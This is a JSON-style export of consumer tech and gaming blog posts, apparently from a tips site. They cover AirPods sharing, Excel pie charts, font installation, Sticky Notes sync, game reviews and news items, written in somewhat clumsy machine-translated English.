magic board will simulate the images of physical devices so you can see them moving on the working screen of Windows 7 easily. You can also change the size of physical devices on the board.\nMicrosoft Rebound\n  This is a game with a play style that is used by fingers to control a ball to avoid the dangers created on the surface of the game screen.\nMicrosoft Garden Pond\n  This is also a game with high relaxing melodies. The interaction is higher when there are scenes floating on the water in which manipulation operations are just fingers.\nNote : To be able to run these applications, the computer must be equipped with a multi-touch screen.\nncG1vNJzZmismaXArq3KnmWcp51kura406KrqK2TnXqivM%2BloJyZpJ68r3nPmpqkmZeawG6yzqtksKGemby4v4xw\n","link":"/post/multi-touch-application-packages-for-windows-7/","section":"post","tags":null,"title":"Multi-touch application packages for Windows 7"},{"body":" Developer: miHoYo\nPublisher: miHoYo\nRelease date: September 28 , 2020\nPlatform: PC, PS4, iOS, Android\nESRB: Teen\nGenshin Impact is light on story and focused on exploration, encouraging players to dig under every rock, glide from every cliff, and overcome every goblin camp. This free-to-play open-world action/role-playing game is an amazing combination of art and sound coupled with easy-to-learn combat mechanics and a survival of magical adventures around every corner.\nAs you climb the highest peaks, confront giant bosses, and spend quiet moments admiring the scenery. A lot of MMORPG games always have endless quests, but Genshin Impact brings a sense of fascination and longing that the writer rarely feels.\nI've been reflecting on my recent Genshin Impact experience with my friends. Loot mechanism, upgrade and customize the character is very attractive and attractive. Genshin Impact, like many other MMORPGs, is a never-ending adventure, where every minute you decide to do a quest turns into hours of continuous play.\nPerhaps you're on a main story quest but see a chest in the distance, which leads to following a mysterious spirit down a cliff and finding a rare recipe. By the time you're done with that, time has passed and you forget why you were in this area in the first place. That's okay, though, because you've solved a puzzle and sent you soaring through the air next to a majestic mountain range, rescuing some travelers trapped in millennial amber, and fighting. with a mech for new, more delicious loot.\nThe game's main mission is always there, but it's hard to focus on it when you're busy running, surfing and climbing to explore the vast world of Genshin Impact. This world contains an incredibly intoxicating and irresistible beauty.\n  However, the game also has its weak points, the dialogue and the plot are the weakest parts of the game experience. You can completely ignore most conversation with NPCs 'for the sake of' when you're working on a main quest sequence that unlocks certain areas and boss encounters.\nThe real story here is created by your journey as you move from one area to another. From rummaging through a carrot-growing field for food to accidentally getting lost in an encounter with high-level monsters because the surroundings distract you, I've never felt my duty. Play becomes bland and repetitive. Although the game can become 'plowed' for about 30 hours after that, but is it really called plowing if you're not bored at all?\n  You control a party of four characters, but can only use one character at a time. The combat mechanics are pretty straightforward, with each character having a few different attacks, an elemental skill, and a powerful elemental attack. Swap characters mid-battle with an instant button press, creating a more dynamic and exciting battle system than pressing buttons around and then the monster dying.\nUsing a Hydro character to get enemies wet and then quickly swapping into an Electro character to electrify them is an effective use of elemental combos, especially with tougher confrontations and especially in timed challenges, it is extremely important to master the coordination of elemental combos.\nIn a fight with multiple minibosses present and the clock ticking down, you must carefully strategize to coordinate your elemental attacks for maximum damage and effectiveness.\n  Elemental skills are not only valuable in combat, as you explore the world, these skills also play an important role. Genshin Impact's open world is filled with puzzles and well-hidden treasure chests to test your creativity. Simple quests like burning a thorn bush wrapped around a chest or blowing away dandelion seeds with the wind are done in the opening moment, but subsequent missions will require multiple systems. element to trigger many objects to interact in the environment.\nFind yourself running out of stamina bars as you try to swim across a vast body of water? Freeze the water to create a path. Create an earth to activate a pedal to open a portal like in the movie Indiana Jones. Even late in the game, I'm discovering new ways to use my elemental abilities thanks to the game's vast world full of mysteries.\n  The game allows up to four players to team up with each other, and the game also supports crossplay on all platforms. You'll probably need a friend or two to fight a tough boss or explore one. some dungeon. Or maybe you just want to hang out, see some ducks and take pictures together under the beautiful scenery of the game. Co-op mode is a fun addition, but everything in the game you can do and enjoy alone.\nMy biggest concern with Genshin Impact is that Genshin Impact's business model, even though it's a free-to-play game, is organized in a way that mobile gamers will find familiar. We can liken the 'gachapon' system to loot boxes, i.e. a form of gambling. But these loot boxes aren't just for storing skins or items that just look good; they contain more expensive characters and weapons than usual.\nThat's right, Genshin Impact is a pay-to-win game. Genshin Impact also has a battle pass that doesn't even show up until you've played the game for about 20 hours. The lottery for characters and weapons is exacerbated by the deliberate design methods of the developer Genshin Impact, such as giving you full-star heroes in your squad. in certain quests, allowing you to experience testing their awesome power and then strip it away, thus making you want to spin the gacha to get that power again.\n  This is a monetization model that I can't support, but I haven't spent any real money in my 40+ hours with the game either. I don't feel like my leveling is stifled or my enjoyment is reduced because I haven't paid enough. I've played many gacha games and although Genshin Impact's monetization is the least greedy of them all, I hope this functionality will be removed and replaced by something healthier than a form of chess. this silver.\nGenshin Impact ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZp%2BVo8Cptc1moKaokZjBbrTArGSsm5Ghsm6u1K1kpZmToMBuv86uow%3D%3D\n","link":"/post/review-genshin-impact-has-scale-but-lacks-soul/","section":"post","tags":null,"title":"Review Genshin Impact - Has scale but lacks soul"},{"body":"You want to transfer files from CAD to Word but do not know how and do not know which software to use? In this article, TipsMake.com would like to give you detailed instructions for how to transfer files from CAD to Word quickly and accurately. Let's see which way it is!\n  To convert files from CAD to Word, we will use BetterWMF software - a software that quickly copies drawings from CAD to Word, preserving the image quality and font of the file.\nStep 1 : First, you access the following address to download the software to https://www.furix.com/download\nStep 2 : Next, click Next to perform some basic installation operations.\nStep 3 : After the installation is complete, open the software by: going to Start Menu -\u0026gt; type search betterWMF -\u0026gt; click BetterWMF for AutoCAD software .\n  Step 4 : At the interface of the software, you have a few options in the Lines and text section such as:\n- Make all black : select 2 items, all strokes and text will turn black.\n- Width unmodified (thin lines) : the default setting of BetterWMF, when printed, will have thin strokes.\n- Fixed linewidth (inch) : the printed file is darker depending on the size you enter.\nThen click OK to continue.\n  Step 5 : Then you proceed to open the prepared CAD file. Press Ctrl + C to copy the area you want to convert to Word.\n  Step 6 : Then you open the Word file, press Ctrl + V to paste the copied area on the CAD side into Word. At this time, BetterWMF software will help you copy - paste to ensure image quality as well as fonts.\n  Also, in case you want to copy Word back into CAD , do the following:\n- Press Ctrl + C to copy data from Word.\n- Select the Home tab on the toolbar of AutoCard -\u0026gt; select the extension in Paste -\u0026gt; then select Paste Special .\n  Paste Special window appears, select AutoCAD Entities in the Paste section . Then select OK .\n  You then select the location and place the drawing, so that you can edit the objects in the drawing.\n  So moving between CAD to Word and vice versa is easy and fast, isn't it. Thank you for following the article. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKymn6ynlr%2BmecKopa%2BdoqnAbq%2FAnWStp12svLOwjK2fnmWWlsC1sdKtZJqmlGK6sL%2FTZqqtmZ6ZrrOw\n","link":"/post/the-software-converts-cad-to-word-the-fastest-and-most-standard/","section":"post","tags":null,"title":"The software converts CAD to Word the fastest and most standard"},{"body":"Halo's golden age with popular releases like Halo 3 and Halo Reach has been associated with the Xbox 360 console. However, as these titles gradually fade into the past, Microsoft has finally decided to let it be. for related services to be put on a permanent break.\n  Specifically, right this January, Microsoft will stop providing online servers for all Halo games that have held countless memories of the gaming community. And this is really the end to an era full of ups and downs for Halo and Xbox 360.\n  Halo 3, Halo 3 ODST, Halo Reach, Halo 4, Halo: Combat Evolved Anniversary, Halo Wars, and Halo Spartan Assault online services will all be discontinued on Xbox 360 as of January 13, 2022.\n  Microsoft has also posted a list of all the specifics of its plans to discontinue service for Halo on Xbox 360 at Windows Central. Keeping these servers up and running took the company a significant amount of resources, and Microsoft decided to use its resources on more potential future projects.\n  However, the gaming community can still experience the multiplayer mode of classic Halo titles through The Master Chief Collection on Xbox One and Xbox Series X/S. Furthermore, The Master Chief Collection is now available on Xbox Game Pass as well.\nncG1vNJzZmismaXArq3KnmWcp51kxaO712Zqb2hdrLatuIysq6ioXajCsbzOq6uippditaK4zmaqnqqmmr%2B0ecinZKOZnqqus8WMa2drag%3D%3D\n","link":"/post/xbox-360-will-stop-supporting-halo-servers-in-january-2022/","section":"post","tags":null,"title":"Xbox 360 will stop supporting Halo servers in January 2022"},{"body":"The world around us always has so many \" unimaginable \" things, but perhaps living in apartments less than one square meter is something that certainly anyone of us has ever thought about. is not? The world population is increasing, more and more people want to move to live in big cities. But unfortunately, our Earth area cannot expand any more, which means that our apartments are getting smaller and \" denser \".\nSome people try to earn more friends in the same room to avoid having to live in a tight space, while others are due to poverty or personal circumstances, no other choice is forced to accept living. in such a crowded environment. Here are 26 photos of micro-apartments around the world that will surprise you and ask yourself why they did so?\n90-year-old Wong Chun Chun is currently living with his 60-year-old son in a 10-square-meter apartment in Shanghai, China.\n Aly Song / Reuters\nChina's largest real estate company, China Vanke, introduced a micro-apartment built in a trunk in the Pearl River Delta Real Estate Fair in Guangzhou Province .\n Reuters\nThe fact that such a small apartment is more than enough for a large family in China .\n Reuters\nLike other small apartments, neatly arranging household items will make the space more comfortable .\n  Reuters\nThe Burger family in Los Angeles, California, lives in a house designed from a truck in the home of his wife Elizabeth Burger. In 2009, the family encountered a major incident, forcing them to sell their entire assets.\n Lucy Nicholson / Reuters\nDharavi, an old apartment complex between Mumbai and India. This is one of the largest slums in Asia with over one million people living there .\n Danish Siddiqui / Reuters\nThe rent of an apartment is 9.2 square meters here ranging from 0.04 $ - 0.06 $ per 1 square meter .\n Danish Siddiqui / Reuters\nIn order to get this 5.6 square meter apartment in Hong Kong, the woman above had to pay $ 487 per month (nearly VND 11 million) for her and her son to live there .\n Tyrone Siu / Reuters\nIn contrast, Jon-Christian Stubblefield seems quite comfortable in his 19-square-meter (200-square-foot) apartment in Seattle, Washington .\n Nick Adams / Reuters\nIn 2013, Stubblefield answered a journalist: \" This is a reasonable option for a price of under $ 1,200 when living in Washington .\"\n Nick Adams / Reuters\nIn the immediate vicinity, Seungchul You thinks this 19 square meter apartment is quite suitable for his needs .\n Nick Adams / Reuters\nIn Hefei City of China, patients are unable to pay for hospital beds in local hospitals, forcing them to rent these 7 to 8 square meters rooms nearby for daily treatment. .\n Jianan Yu / Reuters\nHousing prices in Hong Kong are so high that many people stay in apartments with only 3.2 square meters at low cost .\n Siu Chiu / Reuters\nNew Yorkers were first officially introduced about 28 square meters of \" ultra-small \" apartments in a city near Manhattan from the Kips Bay real estate company .\n AP / Julie Jacobsen\nA modern apartment designed to make the most of the interior space and use smart furniture such as wall beds with monthly rental rates ranging from $ 2500 to $ 2900 .\n AP / Julie Jacobson\nSometimes, even an area of ​​only 29 square meters is considered a \"splendid\" house. Keret House in Warsaw, Poland (named after the Israeli writer Etgar Keret) with the narrowest point is 91cm wide .\n Kacper Pempel / Reuters\nThis small house is designed in artistic style, to make the most of the interior space. The building architect is Jakub Szczesny, Keret let writers and artists stay there for a short time .\n Kacper Pempel / Reuters\nThis mini apartment was put into use in 2012 and is only suitable for one person .\n Kacper Pempel / Reuters\nMrs. Kang Kyung-soon, 73 years old, lives in a small apartment with only 2 square meters, not including: toilets and bathrooms.\n  Lee Jae Won / Reuters\nMs. Kang Kyung-soon's apartment is located near Gangnam rich house in Seoul, South Korea .\n Lee Jae Won / Reuters\nInside a 56-square-meter apartment in Hong Kong divided into 19 different rooms, all of them are smaller than 2.5 square meters. People call this \"small bedroom\" or \"coffin \"!\n Bobby Yip / Reuters\nThe rent of each room is $ 150 / month (more than 3 million VND), these rooms are separated only by pressed wooden walls. People just need to take a few steps to go to the shopping and financial areas .\n Damir Sagolj / Reuters\nIn addition, Hong Kong has apartments made of \"iron cages\" like this. Each of these iron cages is stacked on an area of ​​less than 1 square meter .\n Tyrone Siu / Reuters\nThere are hundreds of older people, like Kong Siu-Kau, who live in such apartments. Even up to 12 people live in those narrow cages .\n Victor Fraile / Reuters\nWith filthy living conditions, bed bugs and rotting smell everywhere .\n Bobby Yip / Reuters\nCurrently, the Hong Kong government has acknowledged the danger of living conditions like this and is planning to \"remove\" them. However, residents here object and argue that these \"iron cages\" are where they live the rest of their lives .\n Bobby Yip / Reuters\nncG1vNJzZmismaXArq3KnmWcp51kf3d51KegppmXnruirsueZKKlkZyytHnOn2SmoZOnvKK8wKurpp2eqcButc1mq6GdXay8s7jD\n","link":"/post/26-unimaginable-images-of-micro-apartments-in-the-world/","section":"post","tags":null,"title":"26 'unimaginable' images of micro-apartments in the world"},{"body":"Japan's Fujitsu manufacturer recently introduced a new 3D laptop model, expected to attract the interest of technology enthusiasts in a growing 3D laptop market. strong.\n  Fujitsu's new 3D notebook, called the LifeBook AH572 , possesses very noticeable specifications, the most attractive of which is the ability to support 3D technology.\nThe LifeBook AH572 's 3D display has a size of 15.6 inches, a resolution of 1366 x 768 pixels, equipped with a 3D Xpol filter.\nIn terms of interior, the LifeBook AH572 uses a 2.3 GHz Intel Core i5-2410M processor, integrated Intel HD 3000 graphics, along with 4 GB of DDR3 RAM and 500 GB of hard drive storage , the 6-cell battery has a duration of up to 7 hours, integrated 1.3-megapixel webcam and can record 3D videos.\nLifeBook AH572 was launched by Fujitsu at a price of 999 USD.\nncG1vNJzZmismaXArq3KnmWcp51ks7a2yK2qrmWZo8Gzu8Oump6cXZZ6r7HWZmqdZZyWvbW7z2akqJyVoQ%3D%3D\n","link":"/post/fujitsu-introduced-a-new-3d-laptop-model/","section":"post","tags":null,"title":"Fujitsu introduced a new 3D laptop model"},{"body":"Connecting 1 AirPods or AirPods Pro to an iPhone or MacBook is probably one of the easiest processes. But connecting 2 AirPods to one iPhone, iPad or MacBook is quite complicated.\nAfter connecting them, users can listen to the same song or watch a movie without disturbing others.\nTo be able to connect 2 AirPods, that device must support Audio Sharing. Thankfully, most modern Apple devices support the feature, and all iPhones after the first-generation iPhone 8 and iPad Pro will be compatible. In this article, let's learn how to connect 2 AirPods to 1 iPhone, iPad or MacBook.\nHow to connect 2 AirPods with iPhone or iPad This guide only covers the steps of connecting the second AirPods to the device.\nStep 1: Unlock iPhone and stay on home screen.\nStep 2: Now, open the AirPods or AirPods Pro case and hold it near the iPhone for a while. Everyone will see an animation to connect AirPods, now need to press the Temporarily Share Audio button.\n  Picture 1 of How to connect two AirPods to the same Apple device  Once done, press and hold the button on the back of the charging case to complete the process.\n  Picture 2 of How to connect two AirPods to the same Apple device  Step 3: Now, open Bluetooth settings on your iPhone and everyone will be able to see the AirPods connected to their phone.\n  Picture 3 of How to connect two AirPods to the same Apple device  The strength of this feature is that iOS gives users individual control over the volume of devices that require access.\nStep 4: To control the volume individually, play the video and drag the Control Center down. Next, tap the AirPlay icon and control the volume of each AirPods individually.\n  Picture 4 of How to connect two AirPods to the same Apple device  How to connect 2 AirPods to MacBook Users can also play audio through different AirPods on their MacBook Air or MacBook Pro. However, this process will be more complicated and requires a bit of tinkering in the system settings.\nStep 1: Reset the second AirPods to connect to the Mac computer. To do so, press and hold the button on the back of the charging case until you see the LED blinking white.\nStep 2: Open Control Center on Mac and navigate to Bluetooth Settings. Click on the Bluetooth Preferences option and users will see other AirPods on the menu. Then, click the Connect button.\n  Picture 5 of How to connect two AirPods to the same Apple device  Step 3: Open Finder and select Applications from the left panel. Next, scroll down until you see Utilities and double-click the Audio MIDI Setup option.\n  Picture 6 of How to connect two AirPods to the same Apple device  This will open a small window. Now click on the little plus icon below and select Create Multi-Output from the list.\n  Picture 7 of How to connect two AirPods to the same Apple device  Step 4: Next, uncheck the default speakers of your MacBook. Instead, select 2 AirPods and close the window.\n  Picture 8 of How to connect two AirPods to the same Apple device  Step 5: Once done, press the Apple icon in the upper left corner and select System Preferences from the menu.\n  Picture 9 of How to connect two AirPods to the same Apple device  If the Bluetooth Settings window is open, click the Back button and navigate to Sound. If not, click the Sound option. Now, all you need to do is select the Multi-Output Device to play the video or audio file and enjoy the shared audio between the connected AirPods.\nHowever, users cannot customize the volume of each AirPods individually, but on iPhone and iPad.\n  Picture 10 of How to connect two AirPods to the same Apple device  Whenever you need to disconnect, open Bluetooth preferences and tap on the devices you want to disconnect. If you're using headphones like AirPods Max, you'll need to frequently tap the Connect button as they will automatically disconnect whenever you remove them from your ears.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9Nmq7CnXZa2s7zOnapmrJ9iwamxjKyYpp1dlr2xuMRmm56umZiyb63MqQ%3D%3D\n","link":"/post/how-to-connect-two-airpods-to-the-same-apple-device/","section":"post","tags":null,"title":"How to connect two AirPods to the same Apple device"},{"body":"If you already know how to draw a column chart in Excel that makes illustrating the data on the spreadsheet more intuitive, the following content, we will show you how to create or draw a pie chart in Excel.\nHow to draw pie charts in Excel In this article, TipsMake will use Excel 2016 to demonstrate how to draw pie chart in Excel.\nSuppose you have a data table as shown below, need to insert pie chart.\n  Step 1: You perform the highlighting of the data you need to draw a pie chart.\n  Step 2: Then go to the Insert tab-\u0026gt; select the icon of the pie chart, you can choose the type of chart to draw, for example, you choose the 2 - D Pie pie chart.\n  Step 3: After you make your selection -\u0026gt; the pie chart style will appear in the Excel spreadsheet.\n  If you want to change the data in the spreadsheet -\u0026gt; when there is a change in the data, the chart will update automatically according to that change. For example, in January I entered the data to increase -\u0026gt; then you can see immediately the pie chart also changes.\n  So, with the 3 steps above, you can successfully draw a pie chart in Excel. Once the chart is created, you can also edit it like:\n- Add other components to the chart:\nClick on Chart Elements to see more small features:\n+ Chart Title : Add a title for the chart.\n+ Data Labels : Add data labels for the chart.\n+ Legend : Add notes to the chart.\n  - Change color and chart style in Excel\nTo change the color and shape of the pie chart -\u0026gt; click on the Chart Styles icon as shown below, you can choose the style and color of the chart to best suit.\n  - Use the feature to filter or display data\nFor example, if you want to obscure the data of the 2 months of February and March, and if you want to show the data of January, you click on Chart Filters -\u0026gt; select the data you want to display. success.\n  Above are tips to help you know how to draw pie charts in Excel version 2016. If you use other versions of Excel such as Excel 2003, 2007, 2010, 2013, please refer to how to create pie charts in Excel. here to see how. Good luck! Excel Excel 2016 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRurYypoJ5lk52us8CMoqVmnaiYsq15kWlobw%3D%3D\n","link":"/post/how-to-draw-a-pie-chart-in-excel-2016/","section":"post","tags":null,"title":"How to draw a pie chart in Excel 2016"},{"body":"Flight mode allows users to turn off all wireless connections on the computer quickly. Wireless connection includes Wifi, mobile broadband service, Bluetooth, GPS or GNSS, NFC technology and all other types of wireless connections.\nRecently, many users complained about the problem of not being able to turn off the airplane mode after updating to Windows 10. The problems of airplane mode may not turn off the airplane mode because no buttons appear. Turn off the mode. And there are some cases where the flight mode automatically turns on, so it cannot connect to other wireless devices. So, this article will show you how to fix the problem of not being able to turn off airplane mode in Windows 10.\nHow to fix errors cannot turn off airplane mode on Windows 10 Solution 1: Change the properties of the Adapter Network Solution 2: Turn on the wireless switch on the computer Solution 3: Disable and enable network connectivity Solution 4: Update the driver software for Network Adapter Solution 1: Change the properties of the Adapter Network Step 1: Find Device Manager in the Start menu or Cortana and open it.\nStep 2: Access the Network Adapter section by double clicking on it.\n  Step 3: Find your wireless modem from the list available and right-click to open Properties .\n  Step 4: In the Properties dialog box that appears, select the Power Management tab and uncheck Allow the computer to turn off this device to save power .\n  Step 5: To apply the changes, click the OK button. This will fix errors that cannot turn off airplane mode in Windows 10.\nSolution 2: Turn on the wireless switch on the computer If your computer has a wireless switch, turn it on if it is turned off.\nSolution 3: Disable and enable network connectivity Step 1: Go to Settings and click on Network \u0026amp; Internet .\n  Step 2: By default, the installation of the Wifi section will be on the left, pay attention to the right frame of the Wifi installation, find the Change adapter options link and click on it.\n  Step 3: A pop-up window, right-click on the wireless connection and select Disable .\n  Step 4: This will disable the wireless connection. If you want to activate again, just right-click and select Enable .\n  Solution 4: Update the driver software for Network Adapter Step 1: Open Device Manager\nStep 2: Find the Network Adapter option and expand to see the entire list.\nStep 3: Right-click the wireless adapter and click Update driver software .\n  Step 4: In the window that appears, select the driver update method, click Search automatically for updated driver software .\n  Step 5: The system will search online to update drivers.\n  Step 6: A Windows message has successfully updated your driver software to show successful driver updates.\n  Good luck!\nSee more:\nHow to turn on, turn off airplane mode on Windows 10 Delete Airplane mode icon / Flight Mode on Taskbar bar Windows 10 How to turn on, turn off airplane mode on iPhone? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6pbvErGSnp6Riwba%2BzWamn55dlrazvMuapZ5lnaSxpnnOp2SwoZ6ZvLi%2FjGpn\n","link":"/post/how-to-fix-the-error-does-not-turn-off-airplane-mode-on-windows-10/","section":"post","tags":null,"title":"How to fix the error does not turn off airplane mode on Windows 10"},{"body":"Tired of outdated fonts ? Why not try downloading more vivid fonts - they not only bring a breath of fresh air every time you use text typing utilities but also meet the diverse needs of users.\nThe installation process will make the font present in all programs on computer operating systems. Most applications will provide you with a long list of fonts for you to choose and install to your liking.\n  Note: Too many fonts can slow down the computer.\nContaining too many fonts will affect the speed of the computer. You should only install the fonts you really want to use. And of course you can delete them at any time except for the fonts that come with the operating system.\nHaving too many fonts will make your operating system work harder, not to mention programs that use fonts each time they will have to load such a large number of fonts, both time-consuming and time-consuming. capacity, resulting in a lot slower computer operation. This problem occurs equally in all operating systems: Windows, Mac OS X and Linux.\nInstall Font on Windows Fonts with OpenType (.otf ), PostScript Type 1 (. Pfb + .pfm ), True Type (.ttf ) or True Type Collection (.ttc ) formats are all suitable for use in Windows operating systems. After downloading the font you like, please extract the file first if the downloaded file is in .zip format, then right-click the font and select Install.\n  How to install other fonts: Copy Font and Paste into the folder containing all Fonts.\nYou can find a list of installed fonts in the Font folder. To get there, open Control Panel , click on Appearance and Personalization, and choose Fonts .\n  Alternatively, you can press the Windows button, type ' Fonts ' and then click on the search results displayed on the left side of the screen.\nManage, delete, add Font easily In the Fonts folder , you can not only find installed fonts, but also remove them easily, simply right-click on the font you want to delete and select Delete . Also, you can install multiple fonts at once by directly dragging them into the Fonts window - this will save you a lot of time compared to installing each font individually.\n  Install Fonts on Mac OS X Mac OS X supports fonts in OpenType (.otf ), TrueType (.ttf), Datafork TrueType Suitcase (.dfont ), or PostScript Type\nMethod 1 . You can double click on the font to preview its shape, if you like it please install it by clicking the ' Install Font ' button in the right corner of the preview window.\n  You will find a list of installed fonts in Font Book . To open this application, first open Finder , click on Applications and double-click Font Book .\nThe second way is to enable Lauchpad and then click on the ' Font Book ' shortcut. One more faster way is to press Ctrl + Space to display the Spotlight search box , type ' Font Book ' into the box and press Enter , that's it.\n  To preview a certain font, just click on it. If you want to remove unused fonts, right-click on it and choose Remove 'Font Name' Family . Alternatively, to disable the installed font, right-click it and select Disable 'Ten font' Family , of course you can re-enable it in the same way. Just like Windows, you are allowed to drag and drop fonts into the Font Book window to install multiple files at once.\n  With Linux For Linux, download TrueType (.ttf ), PostScript Type 1 (.pfb + .pfm ) or OpenType (. Otf ) formats . You can preview the font shape by double - clicking on it. Next, open Ubuntu or any Linux distribution with GNOME utility, GNOME Font Viewer will appear and you just need to click on Install to start the installation.\n  You can install several fonts in turn at once. First, open the Home folder in the file manager. In Nautilus , click View à Show Hidden Files to display hidden folders. You then locate the folder . fonts and double click it. If you do not have this directory, you can create it by right-clicking in the Home window, selecting Create new folder and naming it as .fonts . Next, you just need to put all the fonts in the newly created folder to install them.\n  But before putting the font in the above directory, you must upgrade the font cache memory by opening the terminal and running the fc-cache command to ensure the system accepts new fonts.\n  To delete the font, you also open the previous .fonts folder to directly delete unnecessary files. If you add fonts using GNOME Font Viewer , browse to the following .local / share / fonts . After the delete is complete, run the fc-cache command again to let the system remember this change.\n  For any reason that you want to use a large number of fonts, you should have a font management program of its own so that installing, managing and removing them is easier and more convenient without images. affect computer speed.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpZ6vXZu8r8DSZqCnZaeeu6W71qxkppmTYq6vsIyloKetqA%3D%3D\n","link":"/post/how-to-install-new-fonts-in-windows-mac-and-linux/","section":"post","tags":null,"title":"How to install new fonts in Windows, Mac and Linux"},{"body":"You don't need to depend on Google Drive or use a simple but manual way of copying and pasting to transfer notes in Sticky Notes from one computer to another. You can now do this with Sticky Notes 3.0+.\nLast year, Microsoft released Sticky Notes (3.0) with updated October 2018 Update. This new Sticky Notes version has some interesting features such as Dark Mode, format and search function. Not only that, it also provides the ability to sync notes between computers, Android phones, and other iPhones. This article will show you how to share notes between computers running different operating systems.\nHow to synchronize Sticky Notes between computers Ways to share Sticky Notes 1. Share Sticky Notes between Windows 10 computers 2. Access Sticky Notes on macOS and Windows 3. Access Sticky Notes on any device  Cannot sync Sticky Notes Ways to share Sticky Notes 1. Share Sticky Notes between Windows 10 computers Note : This method only works with Windows 10 computers because previous Windows and macOS versions do not support updating Sticky Notes.\n  To share and sync Sticky Notes with another Windows 10 computer, you need to log in with Microsoft account to Sticky Notes 3.0+ on both computers so that Sticky Notes automatically appears on the new device.\nHowever, it should be noted that the changes you make on a computer also affect other computers because the synchronization process is still in progress.\nHow to login to Sticky Notes\nStep 1 . Launch the Sticky Notes application on a Windows 10 computer. If not updated, update it.\nStep 2 . If Sticky Notes appears on the desktop, follow the steps below. If you only see a list of Sticky Notes notes, go to Step 3.\nTouch the three dots icon at the top of the note and select Notes list from the menu.\n    Step 3 . On the Sticky Notes list screen, touch the gear icon at the top.\n  Step 4 . On the next screen, click Sign in and log in to your Microsoft account.\n  Step 5 . Repeat the above step for another Windows 10 computer. Notes will automatically appear in both applications on two computers.\n2. Access Sticky Notes on macOS and Windows Another way to share Sticky Notes is to use the Outlook application for Windows and macOS computers.\nStep 1 . Update Sticky Notes and log in to your Microsoft account as above.\nStep 2 . Open the Outlook application on your computer and log in to the same account as on Sticky Notes.\nStep 3 . In the Outlook application, click the Notes icon at the end. If you don't see it, click the first three dots icon, then click the Notes icon. You will see Sticky Notes here.\n    3. Access Sticky Notes on any device This can be done on any device running different operating systems like Windows, macOS, Linux. etc .\nSticky Notes has a web version, you can view online notes at https://www.onenote.com/stickynotes. Open the URL and log in to the same Microsoft account that you use for Sticky Notes on a Windows 10 computer. Similarly, any changes you make above an application will affect the other side note.\n  However this method has a drawback that you need to access the website whenever you want to use it. To avoid this, you can create your Sticky Notes application using Chrome. This way, you'll add a shortcut icon on the desktop, click directly on it to see notes on Sticky Notes in a separate window.\nHow to create Sticky Notes application with Chrome\nStep 1 . Launch Google Chrome browser and go to https://www.onenote.com/stickynotes.\nStep 2 . Click on the three dots icon on top of Chrome and select More tools\u0026gt; Create shortcut .\n  Step 3 . A dialog box appears, click Create .\n  You will see Sticky Notes icon on your computer screen, launch the application to view Sticky Notes right on your desktop.\n  You can also access notes on your phone (Android and iPhone) using the OneNote app.\nCannot sync Sticky Notes In case it is not possible to share the note with any of the three methods above, try some of the following measures to fix the problem.\n1. Update Sticky Notes application\nAs mentioned earlier, the sync utility is only available on Sticky 3.0+ and above. So update the app from Microsoft store.\n2. Log out of the application\nIf the app is updated, but the notes are not synced, sign out of Sticky Notes on both sides. Then login again. To log out, go to Settings and click Sign out .\n  3. Manual synchronization\nSometimes because the Internet is slow, it is not possible to synchronize automatically, you need to synchronize notes manually, go to Settings and then click the Sync now option.\n  These are three ways to sync Sticky Notes to computers running different operating systems.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2BmedKtoJyjqWK7sMDErGSbnaSssqa6jJympqilqbKzvw%3D%3D\n","link":"/post/how-to-share-sticky-notes-between-computers/","section":"post","tags":null,"title":"How to share Sticky Notes between computers"},{"body":"In order to help players can easily customize the interface, the manufacturer has officially launched the Vietnamese version for the DOTA 2 game title. DOTA 2 is a famous action role-playing strategy game for many gamers. Previously, the manufacturer has integrated many different languages ​​into DOTA 2 like French, Chinese, Russian, . And now gamers can convert DOTA 2 interface into Vietnamese language. . So how to transfer DOTA 2 into Vietnamese language?\nChanging the language of Rules of Survival to Vietnamese How to receive FIFA Online key 4 Close Beta version How to download and install FIFA Online 4 How to change DOTA 2 into Vietnamese Step 1:\nFirst, go to Steam and install DOTA 2. If it is, go to the Library tab , right-click on DOTA 2 and select Properties .\n  Step 2:\nSwitch to the new interface on the General tab, click on Set Launch Option .\n  Step 3:\nThe Launch Options panel appears. At the horizontal bar below the -language vietnamese input and press OK to save.\n  When returning to the interface of DOTA 2 you will see the interface displayed in Vietnamese as shown.\n  In general, Vietnamese interface on DOTA 2 is not really elaborate, when some items are still displayed in English or not translated correctly. Hopefully in the next time Valve will fix the Vietnamese version on DOTA 2 for more complete.\nSee more:\nShortcuts control the Rules of Survival game Shortcut to celebrate goals in FIFA Online 3 How to install the Rules Of Survival game on PC I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqunnsGktIydpq2ZXWd6ra3NoKyan5Vitq%2FAzmatop2ko66usdKe\n","link":"/post/how-to-switch-dota-2-language-into-vietnamese/","section":"post","tags":null,"title":"How to switch DOTA 2 language into Vietnamese"},{"body":"Musical.ly is the social media platform chosen by the Z generation. The application was released in 2014 and has attracted an impressive 215 million users. Teenagers use this application to create a 15-second lipstick clip that works with 'homemade' dance on popular music. More than 150 million people, mostly teenagers, have subscribed to the service and its growth has made many people pay attention.\nAccording to TechCrunch, on Thursday (November 9, 2017), Chinese social media Toutiao claimed to have bought Musical.ly with a contract worth up to $ 1 billion.\nSo why hesitate any longer without discovering how to use Misical.ly's super lip sync app.\n1. When opening the Musical.ly app, by default it is a featured video feed.\nThese are often the best videos, viewed more and receive the most likes of the day. This Featured featured is also a good place to find creative inspiration.\nUsers or Musers use the hashtag #featureme in their posts to help them get 'discovered' by the app's supervisor.\n  2. Tab Follow displays the videos of the Muser you follow.\nMost users like the tab Follow more Featured . Here, they can easily see what content comes from friends rather than strangers on the Internet. Without many friends, you can follow celebrities like Selena Gomez, Jason Derulo and Ariana Grande.\n  A typical Musical.ly video will look like this.\nThe twins Lisa and Lena, from Germany, have attracted about 24 million followers on Musical.ly and are the third most watched people on Instagram in Germany.\n3. Each Musical.ly video displays the Muser username, a caption, the name of the song and the artist.\n  Notes often come with hastag, like hashtag trends on Twitter. Users download their videos and perform hastag whatever they want.\n4. See the popularity of the video\nThe heart is \"like\" in 